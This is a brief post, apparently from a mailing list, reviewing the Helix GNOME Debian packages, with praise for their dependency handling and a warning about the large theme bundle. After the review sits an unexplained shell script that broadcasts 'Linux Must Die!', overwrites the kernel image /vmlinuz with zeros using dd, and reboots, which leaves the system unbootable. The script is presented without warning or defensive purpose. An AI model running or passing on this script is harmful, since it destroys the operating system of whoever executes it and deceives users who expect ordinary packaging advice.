So far, the dependency checking of the debs seems to do the right thing.
Beware, the task-helix-gnome want to give you everything and the kitchen
sink.  The 100+ themes for gtk and sawfish can really eat up bandwidth
and harddrive space. All in all, it's a nice "professional" packaging of
GNOME goodies with a little candy that's not in the Debian packaging.

#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now
